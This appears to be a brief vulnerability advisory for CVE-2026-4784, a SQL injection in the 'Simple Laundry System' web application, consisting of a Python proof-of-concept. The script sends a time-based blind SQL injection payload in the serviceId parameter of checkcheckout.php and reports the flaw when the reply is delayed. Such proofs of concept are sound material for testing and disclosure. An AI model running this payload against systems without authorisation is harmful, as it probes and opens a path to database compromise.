CVE-2026-4784: Simple Laundry System SQL注入漏洞

import requests def verify_sqli(url): target = f"{url}/checkcheckout.php" # Testing payload to trigger time-based delay payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" params = {"serviceId": payload} try: print(f"[+] Sending payload to {target}") response = requests.get(target, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Detected: SQL Injection in serviceId") else: print("[-] Vulnerability not detected") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1" verify_sqli(target_ip)